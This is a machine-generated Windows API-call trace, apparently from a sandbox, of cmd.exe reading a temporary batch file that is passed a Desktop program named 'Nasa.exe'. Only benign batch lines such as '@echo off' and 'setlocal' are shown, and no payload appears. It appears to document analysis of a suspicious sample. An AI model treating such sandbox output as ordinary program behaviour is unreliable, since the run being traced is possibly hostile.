[0234.918] SetErrorMode (uMode=0x1) returned 0x0
[0234.919] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\.", nBufferLength=0x208, lpBuffer=0x3b07f8, lpFilePart=0x28f508 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpFilePart=0x28f508*="Temp") returned 0x24
[0234.919] SetErrorMode (uMode=0x0) returned 0x1
[0234.919] GetProcessHeap () returned 0x3b0000
[0234.919] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3b07f0, Size=0x6c) returned 0x3b07f0
[0234.919] GetProcessHeap () returned 0x3b0000
[0234.919] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b07f0) returned 0x6c
[0234.919] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\.") returned 1
[0234.919] GetProcessHeap () returned 0x3b0000
[0234.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c5528
[0234.919] GetProcessHeap () returned 0x3b0000
[0234.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xa4) returned 0x3c5588
[0234.919] GetProcessHeap () returned 0x3b0000
[0234.919] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c5588, Size=0x58) returned 0x3c5588
[0234.920] GetProcessHeap () returned 0x3b0000
[0234.920] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5588) returned 0x58
[0234.920] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9e0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
[0234.920] GetProcessHeap () returned 0x3b0000
[0234.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xe0) returned 0x3b0868
[0234.925] GetProcessHeap () returned 0x3b0000
[0234.925] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3b0868, Size=0x76) returned 0x3b0868
[0234.925] GetProcessHeap () returned 0x3b0000
[0234.925] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b0868) returned 0x76
[0234.925] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0234.925] FindFirstFileExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat", fInfoLevelId=0x1, lpFindFileData=0x28f2a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f2a4) returned 0x3c55e8
[0234.926] GetProcessHeap () returned 0x3b0000
[0234.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3b08e8
[0234.926] FindClose (in: hFindFile=0x3c55e8 | out: hFindFile=0x3c55e8) returned 1
[0234.926] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1
[0234.926] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0
[0234.926] GetConsoleTitleW (in: lpConsoleTitle=0x28f77c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0234.927] GetProcessHeap () returned 0x3b0000
[0234.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x11c) returned 0x3b0908
[0234.927] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77710000
[0234.927] GetProcAddress (hModule=0x77710000, lpProcName="SaferIdentifyLevel") returned 0x77732102
[0234.929] IdentifyCodeAuthzLevelW () returned 0x1
[0234.943] GetProcAddress (hModule=0x77710000, lpProcName="SaferComputeTokenFromLevel") returned 0x77733352
[0234.943] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1
[0234.944] GetProcAddress (hModule=0x77710000, lpProcName="SaferCloseLevel") returned 0x77733825
[0234.944] CloseCodeAuthzLevel () returned 0x1
[0234.976] SetErrorMode (uMode=0x0) returned 0x0
[0234.976] SetErrorMode (uMode=0x1) returned 0x0
[0234.976] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat", nBufferLength=0x104, lpBuffer=0x3c5238, lpFilePart=0x28f668 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat", lpFilePart=0x28f668*="0WPAA36F.bat") returned 0x31
[0234.976] SetErrorMode (uMode=0x0) returned 0x1
[0234.976] GetProcessHeap () returned 0x3b0000
[0234.976] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x70) returned 0x3b11d8
[0234.976] wcsspn (_String=" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe\" ", _Control=" \x09") returned 0x1
[0234.976] GetProcessHeap () returned 0x3b0000
[0234.976] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x6c) returned 0x3b1250
[0234.976] GetProcessHeap () returned 0x3b0000
[0234.976] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xcc) returned 0x3c6118
[0234.976] GetProcessHeap () returned 0x3b0000
[0234.976] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c6118, Size=0x6c) returned 0x3c6118
[0234.977] GetProcessHeap () returned 0x3b0000
[0234.977] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c6118) returned 0x6c
[0234.977] CmdBatNotification () returned 0x3c5298
[0234.977] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\0wpaa36f.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x28f6ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78
[0234.977] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3
[0234.977] _get_osfhandle (_FileHandle=3) returned 0x78
[0234.977] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
[0234.978] _get_osfhandle (_FileHandle=3) returned 0x78
[0234.978] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
[0234.978] ReadFile (in: hFile=0x78, lpBuffer=0x4a9d6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f690, lpOverlapped=0x0 | out: lpBuffer=0x4a9d6640*, lpNumberOfBytesRead=0x28f690*=0x342, lpOverlapped=0x0) returned 1
[0234.980] SetFilePointer (in: hFile=0x78, lDistanceToMove=8, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8
[0234.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9d6640, cbMultiByte=8, lpWideCharStr=0x4a9dc640, cchWideChar=8191 | out: lpWideCharStr="@shift\r\n") returned 8
[0234.981] _get_osfhandle (_FileHandle=3) returned 0x78
[0234.981] GetFileType (hFile=0x78) returned 0x1
[0234.981] _get_osfhandle (_FileHandle=3) returned 0x78
[0234.981] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8
[0234.981] GetProcessHeap () returned 0x3b0000
[0234.981] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3c8ab8
[0234.981] GetProcessHeap () returned 0x3b0000
[0234.981] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8ab8 | out: hHeap=0x3b0000) returned 1
[0234.981] GetProcessHeap () returned 0x3b0000
[0234.981] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c6190
[0234.982] _wcsicmp (_String1="shift", _String2=")") returned 74
[0234.982] _wcsicmp (_String1="FOR", _String2="shift") returned -13
[0234.982] _wcsicmp (_String1="FOR/?", _String2="shift") returned -13
[0234.982] _wcsicmp (_String1="IF", _String2="shift") returned -10
[0234.983] _wcsicmp (_String1="IF/?", _String2="shift") returned -10
[0234.983] _wcsicmp (_String1="REM", _String2="shift") returned -1
[0234.983] _wcsicmp (_String1="REM/?", _String2="shift") returned -1
[0234.983] GetProcessHeap () returned 0x3b0000
[0234.983] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c61f0
[0234.983] GetProcessHeap () returned 0x3b0000
[0234.983] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x14) returned 0x3c5618
[0234.986] _tell (_FileHandle=3) returned 8
[0234.986] _close (_FileHandle=3) returned 0
[0234.986] _wcsicmp (_String1="shift", _String2="DIR") returned 15
[0234.986] _wcsicmp (_String1="shift", _String2="ERASE") returned 14
[0234.986] _wcsicmp (_String1="shift", _String2="DEL") returned 15
[0234.986] _wcsicmp (_String1="shift", _String2="TYPE") returned -1
[0234.986] _wcsicmp (_String1="shift", _String2="COPY") returned 16
[0234.986] _wcsicmp (_String1="shift", _String2="CD") returned 16
[0234.986] _wcsicmp (_String1="shift", _String2="CHDIR") returned 16
[0234.986] _wcsicmp (_String1="shift", _String2="RENAME") returned 1
[0234.986] _wcsicmp (_String1="shift", _String2="REN") returned 1
[0234.987] _wcsicmp (_String1="shift", _String2="ECHO") returned 14
[0234.987] _wcsicmp (_String1="shift", _String2="SET") returned 3
[0234.987] _wcsicmp (_String1="shift", _String2="PAUSE") returned 3
[0234.987] _wcsicmp (_String1="shift", _String2="DATE") returned 15
[0234.987] _wcsicmp (_String1="shift", _String2="TIME") returned -1
[0234.987] _wcsicmp (_String1="shift", _String2="PROMPT") returned 3
[0234.987] _wcsicmp (_String1="shift", _String2="MD") returned 6
[0234.987] _wcsicmp (_String1="shift", _String2="MKDIR") returned 6
[0234.987] _wcsicmp (_String1="shift", _String2="RD") returned 1
[0234.987] _wcsicmp (_String1="shift", _String2="RMDIR") returned 1
[0234.987] _wcsicmp (_String1="shift", _String2="PATH") returned 3
[0234.987] _wcsicmp (_String1="shift", _String2="GOTO") returned 12
[0234.987] _wcsicmp (_String1="shift", _String2="SHIFT") returned 0
[0234.987] GetConsoleTitleW (in: lpConsoleTitle=0x28f274, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0234.988] _wcsicmp (_String1="shift", _String2="DIR") returned 15
[0234.988] _wcsicmp (_String1="shift", _String2="ERASE") returned 14
[0234.988] _wcsicmp (_String1="shift", _String2="DEL") returned 15
[0234.988] _wcsicmp (_String1="shift", _String2="TYPE") returned -1
[0234.988] _wcsicmp (_String1="shift", _String2="COPY") returned 16
[0234.988] _wcsicmp (_String1="shift", _String2="CD") returned 16
[0234.988] _wcsicmp (_String1="shift", _String2="CHDIR") returned 16
[0234.988] _wcsicmp (_String1="shift", _String2="RENAME") returned 1
[0234.988] _wcsicmp (_String1="shift", _String2="REN") returned 1
[0234.988] _wcsicmp (_String1="shift", _String2="ECHO") returned 14
[0234.989] _wcsicmp (_String1="shift", _String2="SET") returned 3
[0234.989] _wcsicmp (_String1="shift", _String2="PAUSE") returned 3
[0234.989] _wcsicmp (_String1="shift", _String2="DATE") returned 15
[0234.989] _wcsicmp (_String1="shift", _String2="TIME") returned -1
[0234.989] _wcsicmp (_String1="shift", _String2="PROMPT") returned 3
[0234.989] _wcsicmp (_String1="shift", _String2="MD") returned 6
[0234.989] _wcsicmp (_String1="shift", _String2="MKDIR") returned 6
[0234.989] _wcsicmp (_String1="shift", _String2="RD") returned 1
[0234.989] _wcsicmp (_String1="shift", _String2="RMDIR") returned 1
[0234.989] _wcsicmp (_String1="shift", _String2="PATH") returned 3
[0234.989] _wcsicmp (_String1="shift", _String2="GOTO") returned 12
[0234.989] _wcsicmp (_String1="shift", _String2="SHIFT") returned 0
[0234.989] GetProcessHeap () returned 0x3b0000
[0234.989] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xc) returned 0x3b0dd8
[0234.989] GetProcessHeap () returned 0x3b0000
[0234.989] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x14) returned 0x3b0ad8
[0234.990] _get_osfhandle (_FileHandle=1) returned 0x7
[0234.990] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
[0234.990] _get_osfhandle (_FileHandle=1) returned 0x7
[0234.990] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9d41ac | out: lpMode=0x4a9d41ac) returned 1
[0234.991] _get_osfhandle (_FileHandle=0) returned 0x3
[0234.991] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9d41b0 | out: lpMode=0x4a9d41b0) returned 1
[0234.991] SetConsoleInputExeNameW () returned 0x1
[0234.991] GetConsoleOutputCP () returned 0x1b5
[0234.992] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9d4260 | out: lpCPInfo=0x4a9d4260) returned 1
[0234.992] SetThreadUILanguage (LangId=0x0) returned 0x409
[0234.992] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\0wpaa36f.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x28f6ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78
[0234.992] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3
[0234.992] _get_osfhandle (_FileHandle=3) returned 0x78
[0234.992] SetFilePointer (in: hFile=0x78, lDistanceToMove=8, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8
[0234.993] GetProcessHeap () returned 0x3b0000
[0234.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0ad8 | out: hHeap=0x3b0000) returned 1
[0234.993] GetProcessHeap () returned 0x3b0000
[0234.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0dd8 | out: hHeap=0x3b0000) returned 1
[0234.993] GetProcessHeap () returned 0x3b0000
[0234.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5618 | out: hHeap=0x3b0000) returned 1
[0234.993] GetProcessHeap () returned 0x3b0000
[0234.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c61f0 | out: hHeap=0x3b0000) returned 1
[0234.993] GetProcessHeap () returned 0x3b0000
[0234.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c6190 | out: hHeap=0x3b0000) returned 1
[0234.993] _get_osfhandle (_FileHandle=3) returned 0x78
[0234.993] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8
[0234.994] ReadFile (in: hFile=0x78, lpBuffer=0x4a9d6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f690, lpOverlapped=0x0 | out: lpBuffer=0x4a9d6640*, lpNumberOfBytesRead=0x28f690*=0x33a, lpOverlapped=0x0) returned 1
[0234.994] SetFilePointer (in: hFile=0x78, lDistanceToMove=19, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13
[0234.994] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9d6640, cbMultiByte=11, lpWideCharStr=0x4a9dc640, cchWideChar=8191 | out: lpWideCharStr="@echo off\r\n") returned 11
[0234.994] _get_osfhandle (_FileHandle=3) returned 0x78
[0234.994] GetFileType (hFile=0x78) returned 0x1
[0234.994] _get_osfhandle (_FileHandle=3) returned 0x78
[0234.994] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13
[0234.995] GetProcessHeap () returned 0x3b0000
[0234.995] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3c8ab8
[0234.995] GetProcessHeap () returned 0x3b0000
[0234.995] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8ab8 | out: hHeap=0x3b0000) returned 1
[0234.995] GetProcessHeap () returned 0x3b0000
[0234.995] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c6190
[0234.996] _wcsicmp (_String1="echo", _String2=")") returned 60
[0234.996] _wcsicmp (_String1="FOR", _String2="echo") returned 1
[0234.996] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1
[0234.996] _wcsicmp (_String1="IF", _String2="echo") returned 4
[0234.996] _wcsicmp (_String1="IF/?", _String2="echo") returned 4
[0234.996] _wcsicmp (_String1="REM", _String2="echo") returned 13
[0234.996] _wcsicmp (_String1="REM/?", _String2="echo") returned 13
[0234.996] GetProcessHeap () returned 0x3b0000
[0234.996] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c61f0
[0234.996] GetProcessHeap () returned 0x3b0000
[0234.996] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3c5618
[0234.997] GetProcessHeap () returned 0x3b0000
[0234.997] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3b0ad8
[0234.999] _tell (_FileHandle=3) returned 19
[0235.000] _close (_FileHandle=3) returned 0
[0235.000] _wcsicmp (_String1="echo", _String2="DIR") returned 1
[0235.000] _wcsicmp (_String1="echo", _String2="ERASE") returned -15
[0235.000] _wcsicmp (_String1="echo", _String2="DEL") returned 1
[0235.000] _wcsicmp (_String1="echo", _String2="TYPE") returned -15
[0235.000] _wcsicmp (_String1="echo", _String2="COPY") returned 2
[0235.000] _wcsicmp (_String1="echo", _String2="CD") returned 2
[0235.000] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2
[0235.000] _wcsicmp (_String1="echo", _String2="RENAME") returned -13
[0235.000] _wcsicmp (_String1="echo", _String2="REN") returned -13
[0235.000] _wcsicmp (_String1="echo", _String2="ECHO") returned 0
[0235.000] GetConsoleTitleW (in: lpConsoleTitle=0x28f274, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0235.001] _wcsicmp (_String1="echo", _String2="DIR") returned 1
[0235.001] _wcsicmp (_String1="echo", _String2="ERASE") returned -15
[0235.001] _wcsicmp (_String1="echo", _String2="DEL") returned 1
[0235.001] _wcsicmp (_String1="echo", _String2="TYPE") returned -15
[0235.001] _wcsicmp (_String1="echo", _String2="COPY") returned 2
[0235.001] _wcsicmp (_String1="echo", _String2="CD") returned 2
[0235.001] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2
[0235.001] _wcsicmp (_String1="echo", _String2="RENAME") returned -13
[0235.001] _wcsicmp (_String1="echo", _String2="REN") returned -13
[0235.002] _wcsicmp (_String1="echo", _String2="ECHO") returned 0
[0235.002] GetProcessHeap () returned 0x3b0000
[0235.002] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1c) returned 0x3c77f8
[0235.002] GetProcessHeap () returned 0x3b0000
[0235.002] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c77f8, Size=0x12) returned 0x3bf4e8
[0235.003] GetProcessHeap () returned 0x3b0000
[0235.003] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3bf4e8) returned 0x12
[0235.003] GetProcessHeap () returned 0x3b0000
[0235.003] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1c) returned 0x3c77f8
[0235.003] _wcsnicmp (_String1="off", _String2="off", _MaxCount=0x3) returned 0
[0235.003] _get_osfhandle (_FileHandle=1) returned 0x7
[0235.003] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
[0235.004] _get_osfhandle (_FileHandle=1) returned 0x7
[0235.004] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9d41ac | out: lpMode=0x4a9d41ac) returned 1
[0235.004] _get_osfhandle (_FileHandle=0) returned 0x3
[0235.004] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9d41b0 | out: lpMode=0x4a9d41b0) returned 1
[0235.005] SetConsoleInputExeNameW () returned 0x1
[0235.005] GetConsoleOutputCP () returned 0x1b5
[0235.005] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9d4260 | out: lpCPInfo=0x4a9d4260) returned 1
[0235.005] SetThreadUILanguage (LangId=0x0) returned 0x409
[0235.005] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\0wpaa36f.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x28f6ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78
[0235.005] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3
[0235.006] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.006] SetFilePointer (in: hFile=0x78, lDistanceToMove=19, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13
[0235.006] GetProcessHeap () returned 0x3b0000
[0235.006] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c77f8 | out: hHeap=0x3b0000) returned 1
[0235.006] GetProcessHeap () returned 0x3b0000
[0235.006] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf4e8 | out: hHeap=0x3b0000) returned 1
[0235.006] GetProcessHeap () returned 0x3b0000
[0235.006] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0ad8 | out: hHeap=0x3b0000) returned 1
[0235.006] GetProcessHeap () returned 0x3b0000
[0235.006] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5618 | out: hHeap=0x3b0000) returned 1
[0235.006] GetProcessHeap () returned 0x3b0000
[0235.006] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c61f0 | out: hHeap=0x3b0000) returned 1
[0235.006] GetProcessHeap () returned 0x3b0000
[0235.007] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c6190 | out: hHeap=0x3b0000) returned 1
[0235.007] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.007] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13
[0235.007] ReadFile (in: hFile=0x78, lpBuffer=0x4a9d6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f690, lpOverlapped=0x0 | out: lpBuffer=0x4a9d6640*, lpNumberOfBytesRead=0x28f690*=0x32f, lpOverlapped=0x0) returned 1
[0235.007] SetFilePointer (in: hFile=0x78, lDistanceToMove=29, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d
[0235.007] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9d6640, cbMultiByte=10, lpWideCharStr=0x4a9dc640, cchWideChar=8191 | out: lpWideCharStr="setlocal\r\n\n") returned 10
[0235.008] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.008] GetFileType (hFile=0x78) returned 0x1
[0235.008] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.008] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d
[0235.008] GetProcessHeap () returned 0x3b0000
[0235.008] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3c8ab8
[0235.008] GetProcessHeap () returned 0x3b0000
[0235.008] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8ab8 | out: hHeap=0x3b0000) returned 1
[0235.009] _wcsicmp (_String1="setlocal", _String2=")") returned 74
[0235.009] _wcsicmp (_String1="FOR", _String2="setlocal") returned -13
[0235.010] _wcsicmp (_String1="FOR/?", _String2="setlocal") returned -13
[0235.010] _wcsicmp (_String1="IF", _String2="setlocal") returned -10
[0235.010] _wcsicmp (_String1="IF/?", _String2="setlocal") returned -10
[0235.010] _wcsicmp (_String1="REM", _String2="setlocal") returned -1
[0235.010] _wcsicmp (_String1="REM/?", _String2="setlocal") returned -1
[0235.010] GetProcessHeap () returned 0x3b0000
[0235.010] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c6190
[0235.010] GetProcessHeap () returned 0x3b0000
[0235.010] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1a) returned 0x3c77f8
[0235.012] _tell (_FileHandle=3) returned 29
[0235.012] _close (_FileHandle=3) returned 0
[0235.013] _wcsicmp (_String1="setlocal", _String2="DIR") returned 15
[0235.013] _wcsicmp (_String1="setlocal", _String2="ERASE") returned 14
[0235.013] _wcsicmp (_String1="setlocal", _String2="DEL") returned 15
[0235.013] _wcsicmp (_String1="setlocal", _String2="TYPE") returned -1
[0235.013] _wcsicmp (_String1="setlocal", _String2="COPY") returned 16
[0235.013] _wcsicmp (_String1="setlocal", _String2="CD") returned 16
[0235.013] _wcsicmp (_String1="setlocal", _String2="CHDIR") returned 16
[0235.013] _wcsicmp (_String1="setlocal", _String2="RENAME") returned 1
[0235.013] _wcsicmp (_String1="setlocal", _String2="REN") returned 1
[0235.013] _wcsicmp (_String1="setlocal", _String2="ECHO") returned 14
[0235.013] _wcsicmp (_String1="setlocal", _String2="SET") returned 108
[0235.013] _wcsicmp (_String1="setlocal", _String2="PAUSE") returned 3
[0235.013] _wcsicmp (_String1="setlocal", _String2="DATE") returned 15
[0235.013] _wcsicmp (_String1="setlocal", _String2="TIME") returned -1
[0235.013] _wcsicmp (_String1="setlocal", _String2="PROMPT") returned 3
[0235.013] _wcsicmp (_String1="setlocal", _String2="MD") returned 6
[0235.013] _wcsicmp (_String1="setlocal", _String2="MKDIR") returned 6
[0235.013] _wcsicmp (_String1="setlocal", _String2="RD") returned 1
[0235.013] _wcsicmp (_String1="setlocal", _String2="RMDIR") returned 1
[0235.013] _wcsicmp (_String1="setlocal", _String2="PATH") returned 3
[0235.014] _wcsicmp (_String1="setlocal", _String2="GOTO") returned 12
[0235.014] _wcsicmp (_String1="setlocal", _String2="SHIFT") returned -3
[0235.014] _wcsicmp (_String1="setlocal", _String2="CLS") returned 16
[0235.014] _wcsicmp (_String1="setlocal", _String2="CALL") returned 16
[0235.014] _wcsicmp (_String1="setlocal", _String2="VERIFY") returned -3
[0235.014] _wcsicmp (_String1="setlocal", _String2="VER") returned -3
[0235.014] _wcsicmp (_String1="setlocal", _String2="VOL") returned -3
[0235.014] _wcsicmp (_String1="setlocal", _String2="EXIT") returned 14
[0235.014] _wcsicmp (_String1="setlocal", _String2="SETLOCAL") returned 0
[0235.014] GetConsoleTitleW (in: lpConsoleTitle=0x28f274, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0235.055] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xc) returned 0x3b0dd8
[0235.055] GetProcessHeap () returned 0x3b0000
[0235.055] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1a) returned 0x3c7820
[0235.055] GetProcessHeap () returned 0x3b0000
[0235.055] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xc) returned 0x3b0df0
[0235.055] GetProcessHeap () returned 0x3b0000
[0235.055] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4c) returned 0x3c61f0
[0235.055] GetProcessHeap () returned 0x3b0000
[0235.055] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3c5618
[0235.055] GetEnvironmentStringsW () returned 0x3c6248*
[0235.055] GetProcessHeap () returned 0x3b0000
[0235.055] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xb44) returned 0x3d4af0
[0235.055] FreeEnvironmentStringsW (penv=0x3c6248) returned 1
[0235.055] GetProcessHeap () returned 0x3b0000
[0235.055] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xc) returned 0x3b0e08
[0235.056] _get_osfhandle (_FileHandle=1) returned 0x7
[0235.056] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
[0235.056] _get_osfhandle (_FileHandle=1) returned 0x7
[0235.056] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9d41ac | out: lpMode=0x4a9d41ac) returned 1
[0235.057] _get_osfhandle (_FileHandle=0) returned 0x3
